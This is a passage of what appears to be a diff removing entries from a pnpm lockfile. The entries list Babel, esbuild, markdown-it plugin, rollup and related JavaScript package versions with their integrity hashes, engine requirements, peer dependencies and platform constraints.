sha512-2G8aAvF4wy1w/AGZkemprdGMRg5o6zPNhbHVImRz3lss55TYCBd6xStN19rt8XJHq20sqV0JbyWjOWwQRwV/wg==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - - '@babel/preset-env@7.24.8': - resolution: {integrity: sha512-vObvMZB6hNWuDxhSaEPTKCwcqkAIuDtE+bQGn4XMXne1DSLzFVY8Vmj1bm+mUQXYNN8NmaQEO+r8MMbzPr1jBQ==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/preset-modules@0.1.6-no-external-plugins': - resolution: {integrity: sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==} - peerDependencies: - '@babel/core': ^7.0.0-0 || ^8.0.0-0 <8.0.0 - - '@babel/regjsgen@0.8.0': - resolution: {integrity: sha512-x/rqGMdzj+fWZvCOYForTghzbtqPDZ5gPwaoNGHdgDfF2QA/XZbCBp4Moo5scrkAMPhB7z26XM/AaHuIJdgauA==} - - '@babel/runtime@7.24.8': - resolution: {integrity: sha512-5F7SDGs1T72ZczbRwbGO9lQi0NLjQxzl6i4lJxLxfW9U5UluCSyEJeniWvnhl3/euNiqQVbo8zruhsDfid0esA==} - engines: {node: '>=6.9.0'} - - '@babel/template@7.24.7': - resolution: {integrity: sha512-jYqfPrU9JTF0PmPy1tLYHW4Mp4KlgxJD9l2nP9fD6yT/ICi554DmrWBAEYpIelzjHf1msDP3PxJIRt/nFNfBig==} - engines: {node: '>=6.9.0'} - - '@babel/traverse@7.24.8': - resolution: {integrity: sha512-t0P1xxAPzEDcEPmjprAQq19NWum4K0EQPjMwZQZbHt+GiZqvjCHjj755Weq1YRPVzBI+3zSfvScfpnuIecVFJQ==} - engines: {node: '>=6.9.0'} - - '@babel/types@7.24.9': - resolution: {integrity: sha512-xm8XrMKz0IlUdocVbYJe0Z9xEgidU7msskG8BbhnTPK/HZ2z/7FP7ykqPgrUH+C+r414mNfNWam1f2vqOjqjYQ==} - engines: {node: '>=6.9.0'} - - '@docsearch/css@3.6.1': - resolution: {integrity: sha512-VtVb5DS+0hRIprU2CO6ZQjK2Zg4QU5HrDM1+ix6rT0umsYvFvatMAnf97NHZlVWDaaLlx7GRfR/7FikANiM2Fg==} - - '@docsearch/js@3.6.1': - resolution: {integrity: sha512-erI3RRZurDr1xES5hvYJ3Imp7jtrXj6f1xYIzDzxiS7nNBufYWPbJwrmMqWC5g9y165PmxEmN9pklGCdLi0Iqg==} - - '@docsearch/react@3.6.1': - resolution: {integrity: sha512-qXZkEPvybVhSXj0K7U3bXc233tk5e8PfhoZ6MhPOiik/qUQxYC+Dn9DnoS7CxHQQhHfCvTiN0eY9M12oRghEXw==} - peerDependencies: - '@types/react': '>= 16.8.0 < 19.0.0' - react: '>= 16.8.0 < 19.0.0' - react-dom: '>= 16.8.0 < 19.0.0' - search-insights: '>= 1 < 3' - peerDependenciesMeta: - '@types/react': - optional: true - react: - optional: true - react-dom: - optional: true - search-insights: - optional: true - - '@esbuild/aix-ppc64@0.21.5': - resolution: {integrity: sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==} - engines: {node: '>=12'} - cpu: [ppc64] - os: [aix] - - '@esbuild/android-arm64@0.21.5': - resolution: {integrity: sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==} - engines: {node: '>=12'} - cpu: [arm64] - os: [android] - - '@esbuild/android-arm@0.21.5': - resolution: {integrity: sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==} - engines: {node: '>=12'} - cpu: [arm] - os: [android] - - '@esbuild/android-x64@0.21.5': - resolution: {integrity: sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==} - engines: {node: '>=12'} - cpu: [x64] - os: [android] - - '@esbuild/darwin-arm64@0.21.5': - resolution: {integrity: sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==} - engines: {node: '>=12'} - cpu: [arm64] - os: [darwin] - - '@esbuild/darwin-x64@0.21.5': - resolution: {integrity: sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==} - engines: {node: '>=12'} - cpu: [x64] - os: [darwin] - - '@esbuild/freebsd-arm64@0.21.5': - resolution: {integrity: sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==} - engines: {node: '>=12'} - cpu: [arm64] - os: [freebsd] - - '@esbuild/freebsd-x64@0.21.5': - resolution: {integrity: sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==} - engines: {node: '>=12'} - cpu: [x64] - os: [freebsd] - - '@esbuild/linux-arm64@0.21.5': - resolution: {integrity: sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==} - engines: {node: '>=12'} - cpu: [arm64] - os: [linux] - - '@esbuild/linux-arm@0.21.5': - resolution: {integrity: sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==} - engines: {node: '>=12'} - cpu: [arm] - os: [linux] - - '@esbuild/linux-ia32@0.21.5': - resolution: {integrity: sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==} - engines: {node: '>=12'} - cpu: [ia32] - os: [linux] - - '@esbuild/linux-loong64@0.21.5': - resolution: {integrity: sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==} - engines: {node: '>=12'} - cpu: [loong64] - os: [linux] - - '@esbuild/linux-mips64el@0.21.5': - resolution: {integrity: sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==} - engines: {node: '>=12'} - cpu: [mips64el] - os: [linux] - - '@esbuild/linux-ppc64@0.21.5': - resolution: {integrity: sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==} - engines: {node: '>=12'} - cpu: [ppc64] - os: [linux] - - '@esbuild/linux-riscv64@0.21.5': - resolution: {integrity: sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==} - engines: {node: '>=12'} - cpu: [riscv64] - os: [linux] - - '@esbuild/linux-s390x@0.21.5': - resolution: {integrity: sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==} - engines: {node: '>=12'} - cpu: [s390x] - os: [linux] - - '@esbuild/linux-x64@0.21.5': - resolution: {integrity: sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==} - engines: {node: '>=12'} - cpu: [x64] - os: [linux] - - '@esbuild/netbsd-x64@0.21.5': - resolution: {integrity: sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==} - engines: {node: '>=12'} - cpu: [x64] - os: [netbsd] - - '@esbuild/openbsd-x64@0.21.5': - resolution: {integrity: sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==} - engines: {node: '>=12'} - cpu: [x64] - os: [openbsd] - - '@esbuild/sunos-x64@0.21.5': - resolution: {integrity: sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==} - engines: {node: '>=12'} - cpu: [x64] - os: [sunos] - - '@esbuild/win32-arm64@0.21.5': - resolution: {integrity: sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==} - engines: {node: '>=12'} - cpu: [arm64] - os: [win32] - - '@esbuild/win32-ia32@0.21.5': - resolution: {integrity: sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==} - engines: {node: '>=12'} - cpu: [ia32] - os: [win32] - - '@esbuild/win32-x64@0.21.5': - resolution: {integrity: sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==} - engines: {node: '>=12'} - cpu: [x64] - os: [win32] - - '@jridgewell/gen-mapping@0.3.5': - resolution: {integrity: sha512-IzL8ZoEDIBRWEzlCcRhOaCupYyN5gdIK+Q6fbFdPDg6HqX6jpkItn7DFIpW9LQzXG6Df9sA7+OKnq0qlz/GaQg==} - engines: {node: '>=6.0.0'} - - '@jridgewell/resolve-uri@3.1.2': - resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} - engines: {node: '>=6.0.0'} - - '@jridgewell/set-array@1.2.1': - resolution: {integrity: sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==} - engines: {node: '>=6.0.0'} - - '@jridgewell/source-map@0.3.6': - resolution: {integrity: sha512-1ZJTZebgqllO79ue2bm3rIGud/bOe0pP5BjSRCRxxYkEZS8STV7zN84UBbiYu7jy+eCKSnVIUgoWWE/tt+shMQ==} - - '@jridgewell/sourcemap-codec@1.5.0': - resolution: {integrity: sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==} - - '@jridgewell/trace-mapping@0.3.25': - resolution: {integrity: sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==} - - '@lit-labs/ssr-dom-shim@1.2.0': - resolution: {integrity: sha512-yWJKmpGE6lUURKAaIltoPIE/wrbY3TEkqQt+X0m+7fQNnAv0keydnYvbiJFP1PnMhizmIWRWOG5KLhYyc/xl+g==} - - '@lit/reactive-element@2.0.4': - resolution: {integrity: sha512-GFn91inaUa2oHLak8awSIigYz0cU0Payr1rcFsrkf5OJ5eSPxElyZfKh0f2p9FsTiZWXQdWGJeXZICEfXXYSXQ==} - - '@mdit-vue/plugin-component@2.1.3': - resolution: {integrity: sha512-9AG17beCgpEw/4ldo/M6Y/1Rh4E1bqMmr/rCkWKmCAxy9tJz3lzY7HQJanyHMJufwsb3WL5Lp7Om/aPcQTZ9SA==} - - '@mdit-vue/plugin-frontmatter@2.1.3': - resolution: {integrity: sha512-KxsSCUVBEmn6sJcchSTiI5v9bWaoRxe68RBYRDGcSEY1GTnfQ5gQPMIsM48P4q1luLEIWurVGGrRu7u93//LDQ==} - - '@mdit-vue/plugin-headers@2.1.3': - resolution: {integrity: sha512-AcL7a7LHQR3ISINhfjGJNE/bHyM0dcl6MYm1Sr//zF7ZgokPGwD/HhD7TzwmrKA9YNYCcO9P3QmF/RN9XyA6CA==} - - '@mdit-vue/plugin-sfc@2.1.3': - resolution: {integrity: sha512-Ezl0dNvQNS639Yl4siXm+cnWtQvlqHrg+u+lnau/OHpj9Xh3LVap/BSQVugKIV37eR13jXXYf3VaAOP1fXPN+w==} - - '@mdit-vue/plugin-title@2.1.3': - resolution: {integrity: sha512-XWVOQoZqczoN97xCDrnQicmXKoqwOjIymIm9HQnRXhHnYKOgJPW1CxSGhkcOGzvDU1v0mD/adojVyyj/s6ggWw==} - - '@mdit-vue/plugin-toc@2.1.3': - resolution: {integrity: sha512-41Q+iXpLHZt0zJdApVwoVt7WF6za/xUjtjEPf90Z3KLzQO01TXsv48Xp9BsrFHPcPcm8tiZ0+O1/ICJO80V/MQ==} - - '@mdit-vue/shared@2.1.3': - resolution: {integrity: sha512-27YI8b0VVZsAlNwaWoaOCWbr4eL8B04HxiYk/y2ktblO/nMcOEOLt4p0RjuobvdyUyjHvGOS09RKhq7qHm1CHQ==} - - '@mdit-vue/types@2.1.0': - resolution: {integrity: sha512-TMBB/BQWVvwtpBdWD75rkZx4ZphQ6MN0O4QB2Bc0oI5PC2uE57QerhNxdRZ7cvBHE2iY2C+BUNUziCfJbjIRRA==} - - '@mdit/plugin-alert@0.12.0': - resolution: {integrity: sha512-4OyGK1PZrJbmEF/kS6GKmmG1nlN5h/CyIPZV8lRgnlWLFB37JiEz3EHusPAXAoMtw7VGNFaIcl7OT/I5yyz1JQ==} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-align@0.12.0': - resolution: {integrity: sha512-rvA+xzaVrlsr44s7XD/xadO3lF0QYWCbeSrOS2dhOroNCIOy4RotVP/1tQPr84eqm4oXcxXF0cbjFuwUgE1jYw==} - engines: {node: '>= 18'} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-attrs@0.12.0': - resolution: {integrity: sha512-J0MBwBq958lBtdIcEo02mUIO4ubl2YK+bY799T2SusrLTf3FZsq8+d/OiLTUtovfxaphD7F6yqo8M61AiOpq+w==} - engines: {node: '>= 18'} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-container@0.12.0': - resolution: {integrity: sha512-61bWK1ek6Rn4o12/BIKTWgGU0miB9ENcXE19H5D4DRhwG5+4+0zp2U6hRLf/mE73+mRYin7iKVzcwwEsqs+u8w==} - engines: {node: '>= 18'} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-demo@0.12.0': - resolution: {integrity: sha512-+KDUOgcvnMtBN/uYWlhIFuWkTJexuxstq8ERy9q7vOiu8Go85qCb27h0RSToKBTmmGy+XqfU2EdJclYPWBupJQ==} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-figure@0.12.0': - resolution: {integrity: sha512-3nfcGI+uM0f6AqHZrEr8kSMBI6T2+fKKQXtCbvWQqQ+P3iGgf34Ay2eAtuMDcDGqyfNuR6e8aLoOeY2QWuEynA==} - engines: {node: '>= 18'} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-footnote@0.12.0': - resolution: {integrity: sha512-9B+bJdMndCPoA9De9bxRm4/fyz02PHRcttOyuyPJ3G+wCAgIN1c/7CB8ViT1YJuECUjLogJQ/rrgqh7f0LTqLQ==} - engines: {node: '>= 18'} - peerDependencies: - markdown-it: ^14.1.0 - - '@mdit/plugin-img-lazyload@0.12.0': - resolution: {integrity: sha512-6R42ieXzwkB5BKKZi+ZefqeP/fBG5qo7Sqtl72ewSVqEQ30bgxpk6nkrPI2orRob4tb6z0F/c+R8h6PW5MkTOw==} - engines: {node: '>= 18'} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-img-mark@0.12.0': - resolution: {integrity: sha512-HkIUwlTg/xPsBi4PG+5dsMnsb7wdiJzELSCEUfdAJTg55nksonHfyV2pFpr87MML4nuZlZK9JHt+Bm2BBDSVSw==} - engines: {node: '>= 18'} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-img-size@0.12.0': - resolution: {integrity: sha512-fCcF5gc+ba6gQ5ebrKuI8bK/gFbj8mbeN45FHmBsFDFsfTHa0Xij2v8iok0nP8YEIVj71y8XYojsqCWs6avong==} - engines: {node: '>= 18'} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-include@0.12.0': - resolution: {integrity: sha512-8pnmp7s1TjbtoBIa/YhYpEivOpeVSyhkQoQrGq1UoaEcTbXqmFwShGkAW3zUYZVFYTl74PgL/UqJnrUojegJQg==} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-katex-slim@0.12.0': - resolution: {integrity: sha512-s2MJGXFZT7u8IUTmy6K1rxxAdYRmGggu0m860siyUrThL112xLN9r3jmXZ83epgi4UA/gLkRDAU5vF6R2JtyjQ==} - engines: {node: '>= 18'} - peerDependencies: - katex: ^0.16.9 - markdown-it: ^14.1.0 - peerDependenciesMeta: - katex: - optional: true - markdown-it: - optional: true - - '@mdit/plugin-mark@0.12.0': - resolution: {integrity: sha512-BDFwbV/tbgUGL8KF2ymYNLEXT2KNBLe8D0rshDrbB4Iko1U2DywACQkmaUbYBJ1VCn7/dff35at9fWrm3QjrwQ==} - engines: {node: '>= 18'} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-mathjax-slim@0.12.0': - resolution: {integrity: sha512-bLM+JnCTN/3XiyKb64Yhpx014VYLfHBexua4n92cUyoKR9g3waB0loF1WMlg6GdyCTc7OvrUSceNjwWj3YRogg==} - engines: {node: '>= 18'} - peerDependencies: - markdown-it: ^14.1.0 - mathjax-full: ^3.2.2 - peerDependenciesMeta: - markdown-it: - optional: true - mathjax-full: - optional: true - - '@mdit/plugin-plantuml@0.12.0': - resolution: {integrity: sha512-m1pk6PA9+kWUs8kylLqjnQ7Lex68x3c4Ato8zAh+omkhugfWzuQXfFiXRiJ9C7wkdqHoJx/E5XobP3HJnhCpoA==} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-spoiler@0.12.0': - resolution: {integrity: sha512-7yu+Gz000O0OxGnGYOoj77Am3WgH4GwzOvwCp7tPLexkJwTve8MyT9In/NEPFaRw8fmgXwthC0gKq4Ubh1+8DA==} - engines: {node: '>= 18'} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-stylize@0.12.0': - resolution: {integrity: sha512-5bzZvmjEpGTdwBax9jaDbCBhD1snEx6uTHVUG9HD/L5koKrL86+ox9E5FGeiMiD1dtxeMgL+WqBzV44nRE9ZPg==} - engines: {node: '>= 18'} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-sub@0.12.0': - resolution: {integrity: sha512-27kKkSVkymc+2RNc5XOYkeXip5PgHZPUnHpxUvkpnairLwyHsXb8/gzr9zd5arVkip86rcdy9LIvnF7zO0dNVQ==} - engines: {node: '>= 18'} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-sup@0.12.0': - resolution: {integrity: sha512-3bEDW5/y1UDVU8LVbFsqUvNcMW6orp16uCdRGYCNZ3/IeK7Qj1/9a3wfhScIoI8xRUE6M3JLv41sGBFXLHwi1w==} - engines: {node: '>= 18'} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-tab@0.12.0': - resolution: {integrity: sha512-ZDTEDxHoekcFA5Al+NLizn8Nf0kj6ABkNBAc/VxbQoVQdjZNQtGY2dOPeWW0I96Rao+Aw+IpYRCLFIfb/KtExw==} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-tasklist@0.12.0': - resolution: {integrity: sha512-MPmuLJrqHYR2xI7ST9Xtw/xj+6Xoq7kUvcGuXWdMMNT11DcU1KppkR8QBHov437NFYh6aGyjrHUVeM4T5Ls8yg==} - engines: {node: '>= 18'} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-tex@0.12.0': - resolution: {integrity: sha512-ejeSgSeZvcI5P4hFFQ4q5pHrZBGO2fQWVGm6dZ3BhX4ldoV8LjCIzkcMMXhrhSOVjwHnqmF6xOh9EvI0jzak1w==} - engines: {node: '>= 18'} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@mdit/plugin-uml@0.12.0': - resolution: {integrity: sha512-EfVMmq0CwLJcssxhkvGS2ESenNNEMeK04j702Z9v3am1M9DdEj6zHTrHQd9tA0jNVuFY8ZlmMgDfkkG5k6Rm3Q==} - engines: {node: '>= 18'} - peerDependencies: - markdown-it: ^14.1.0 - peerDependenciesMeta: - markdown-it: - optional: true - - '@nodelib/fs.scandir@2.1.5': - resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} - engines: {node: '>= 8'} - - '@nodelib/fs.stat@2.0.5': - resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==} - engines: {node: '>= 8'} - - '@nodelib/fs.walk@1.2.8': - resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} - engines: {node: '>= 8'} - - '@rollup/plugin-babel@5.3.1': - resolution: {integrity: sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==} - engines: {node: '>= 10.0.0'} - peerDependencies: - '@babel/core': ^7.0.0 - '@types/babel__core': ^7.1.9 - rollup: ^1.20.0||^2.0.0 - peerDependenciesMeta: - '@types/babel__core': - optional: true - - '@rollup/plugin-node-resolve@15.2.3': - resolution: {integrity: sha512-j/lym8nf5E21LwBT4Df1VD6hRO2L2iwUeUmP7litikRsVp1H6NWx20NEp0Y7su+7XGc476GnXXc4kFeZNGmaSQ==} - engines: {node: '>=14.0.0'} - peerDependencies: - rollup: ^2.78.0||^3.0.0||^4.0.0 - peerDependenciesMeta: - rollup: - optional: true - - '@rollup/plugin-replace@2.4.2': - resolution: {integrity: sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==} - peerDependencies: - rollup: ^1.20.0 || ^2.0.0 - - '@rollup/plugin-terser@0.4.4': - resolution: {integrity: sha512-XHeJC5Bgvs8LfukDwWZp7yeqin6ns8RTl2B9avbejt6tZqsqvVoWI7ZTQrcNsfKEDWBTnTxM8nMDkO2IFFbd0A==} - engines: {node: '>=14.0.0'} - peerDependencies: - rollup: ^2.0.0||^3.0.0||^4.0.0 - peerDependenciesMeta: - rollup: - optional: true - - '@rollup/pluginutils@3.1.0': - resolution: {integrity: sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==} - engines: {node: '>= 8.0.0'} - peerDependencies: - rollup: ^1.20.0||^2.0.0 - - '@rollup/pluginutils@5.1.0': - resolution: {integrity: sha512-XTIWOPPcpvyKI6L1NHo0lFlCyznUEyPmPY1mc3KpPVDYulHSTvyeLNVW00QTLIAFNhR3kYnJTQHeGqU4M3n09g==} - engines: {node: '>=14.0.0'} - peerDependencies: - rollup: ^1.20.0||^2.0.0||^3.0.0||^4.0.0 - peerDependenciesMeta: - rollup: - optional: true - - '@rollup/rollup-android-arm-eabi@4.19.0': - resolution: {integrity: sha512-JlPfZ/C7yn5S5p0yKk7uhHTTnFlvTgLetl2VxqE518QgyM7C9bSfFTYvB/Q/ftkq0RIPY4ySxTz+/wKJ/dXC0w==} - cpu: [arm] - os: [android] - - '@rollup/rollup-android-arm64@4.19.0': - resolution: {integrity: sha512-RDxUSY8D1tWYfn00DDi5myxKgOk6RvWPxhmWexcICt/MEC6yEMr4HNCu1sXXYLw8iAsg0D44NuU+qNq7zVWCrw==} - cpu: [arm64] - os: [android] - - '@rollup/rollup-darwin-arm64@4.19.0': - resolution: {integrity: sha512-emvKHL4B15x6nlNTBMtIaC9tLPRpeA5jMvRLXVbl/W9Ie7HhkrE7KQjvgS9uxgatL1HmHWDXk5TTS4IaNJxbAA==} - cpu: [arm64] - os: [darwin] - - '@rollup/rollup-darwin-x64@4.19.0': - resolution: {integrity: sha512-fO28cWA1dC57qCd+D0rfLC4VPbh6EOJXrreBmFLWPGI9dpMlER2YwSPZzSGfq11XgcEpPukPTfEVFtw2q2nYJg==} - cpu: [x64] - os: [darwin] - - '@rollup/rollup-linux-arm-gnueabihf@4.19.0': - resolution: {integrity: sha512-2Rn36Ubxdv32NUcfm0wB1tgKqkQuft00PtM23VqLuCUR4N5jcNWDoV5iBC9jeGdgS38WK66ElncprqgMUOyomw==} - cpu: [arm] - os: [linux] - - '@rollup/rollup-linux-arm-musleabihf@4.19.0': - resolution: {integrity: sha512-gJuzIVdq/X1ZA2bHeCGCISe0VWqCoNT8BvkQ+BfsixXwTOndhtLUpOg0A1Fcx/+eA6ei6rMBzlOz4JzmiDw7JQ==} - cpu: [arm] - os: [linux] - - '@rollup/rollup-linux-arm64-gnu@4.19.0': - resolution: {integrity: sha512-0EkX2HYPkSADo9cfeGFoQ7R0/wTKb7q6DdwI4Yn/ULFE1wuRRCHybxpl2goQrx4c/yzK3I8OlgtBu4xvted0ug==} - cpu: [arm64] - os: [linux] - - '@rollup/rollup-linux-arm64-musl@4.19.0': - resolution: {integrity: sha512-GlIQRj9px52ISomIOEUq/IojLZqzkvRpdP3cLgIE1wUWaiU5Takwlzpz002q0Nxxr1y2ZgxC2obWxjr13lvxNQ==} - cpu: [arm64] - os: [linux] - - '@rollup/rollup-linux-powerpc64le-gnu@4.19.0': - resolution: {integrity: sha512-N6cFJzssruDLUOKfEKeovCKiHcdwVYOT1Hs6dovDQ61+Y9n3Ek4zXvtghPPelt6U0AH4aDGnDLb83uiJMkWYzQ==} - cpu: [ppc64] - os: [linux] - - '@rollup/rollup-linux-riscv64-gnu@4.19.0': - resolution: {integrity: sha512-2DnD3mkS2uuam/alF+I7M84koGwvn3ZVD7uG+LEWpyzo/bq8+kKnus2EVCkcvh6PlNB8QPNFOz6fWd5N8o1CYg==} - cpu: [riscv64] - os: [linux] - - '@rollup/rollup-linux-s390x-gnu@4.19.0': - resolution: {integrity: sha512-D6pkaF7OpE7lzlTOFCB2m3Ngzu2ykw40Nka9WmKGUOTS3xcIieHe82slQlNq69sVB04ch73thKYIWz/Ian8DUA==} - cpu: [s390x] - os: [linux] - - '@rollup/rollup-linux-x64-gnu@4.19.0': - resolution: {integrity: sha512-HBndjQLP8OsdJNSxpNIN0einbDmRFg9+UQeZV1eiYupIRuZsDEoeGU43NQsS34Pp166DtwQOnpcbV/zQxM+rWA==} - cpu: [x64] - os: [linux] - - '@rollup/rollup-linux-x64-musl@4.19.0': - resolution: {integrity: sha512-HxfbvfCKJe/RMYJJn0a12eiOI9OOtAUF4G6ozrFUK95BNyoJaSiBjIOHjZskTUffUrB84IPKkFG9H9nEvJGW6A==} - cpu: [x64] - os: [linux] - - '@rollup/rollup-win32-arm64-msvc@4.19.0': - resolution: {integrity: sha512-HxDMKIhmcguGTiP5TsLNolwBUK3nGGUEoV/BO9ldUBoMLBssvh4J0X8pf11i1fTV7WShWItB1bKAKjX4RQeYmg==} - cpu: [arm64] - os: [win32] - - '@rollup/rollup-win32-ia32-msvc@4.19.0': - resolution: {integrity: sha512-xItlIAZZaiG/u0wooGzRsx11rokP4qyc/79LkAOdznGRAbOFc+SfEdfUOszG1odsHNgwippUJavag/+W/Etc6Q==} - cpu: [ia32] - os: [win32] - - '@rollup/rollup-win32-x64-msvc@4.19.0': - resolution: {integrity: sha512-xNo5fV5ycvCCKqiZcpB65VMR11NJB+StnxHz20jdqRAktfdfzhgjTiJ2doTDQE/7dqGaV5I7ZGqKpgph6lCIag==} - cpu: [x64] - os: [win32] - - '@sec-ant/readable-stream@0.4.1': - resolution: {integrity: 